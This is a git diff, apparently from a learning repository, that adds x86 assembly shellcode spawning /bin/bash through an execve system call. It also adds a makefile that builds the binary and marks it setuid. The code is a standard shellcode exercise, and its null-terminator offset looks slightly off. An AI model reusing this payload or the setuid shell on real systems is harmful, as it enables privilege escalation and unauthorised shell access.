diff options
Diffstat (limited to 'exec_cmd')
-rw-r--r-- | exec_cmd/makefile | 5 | ||||
-rwxr-xr-x | exec_cmd/shell | bin | 0 -> 4268 bytes | |||
-rw-r--r-- | exec_cmd/shell.asm | 19 | ||||
-rw-r--r-- | exec_cmd/shell.o | bin | 0 -> 528 bytes |
4 files changed, 24 insertions, 0 deletions
diff --git a/exec_cmd/makefile b/exec_cmd/makefile new file mode 100644 index 0000000..676ee34 --- /dev/null +++ b/exec_cmd/makefile @@ -0,0 +1,5 @@ +make: + nasm shell.asm -felf32 -o shell.o + ld -m elf_i386 shell.o -o shell -s + chmod u+s shell + diff --git a/exec_cmd/shell b/exec_cmd/shell Binary files differnew file mode 100755 index 0000000..9ea0d3b --- /dev/null +++ b/exec_cmd/shell diff --git a/exec_cmd/shell.asm b/exec_cmd/shell.asm new file mode 100644 index 0000000..d90d9a4 --- /dev/null +++ b/exec_cmd/shell.asm @@ -0,0 +1,19 @@ +global _start +_start: +jmp short data + +exploit: +xor eax, eax +xor ebx, ebx +xor ecx, ecx +pop edx +mov [edx + 10], eax +mov al, 11 +mov ebx, edx +xor edx, edx +int 0x80 + + +data: +call exploit +cmd: db '/bin/bash' diff --git a/exec_cmd/shell.o b/exec_cmd/shell.o Binary files differnew file mode 100644 index 0000000..50283e1 --- /dev/null +++ b/exec_cmd/shell.o |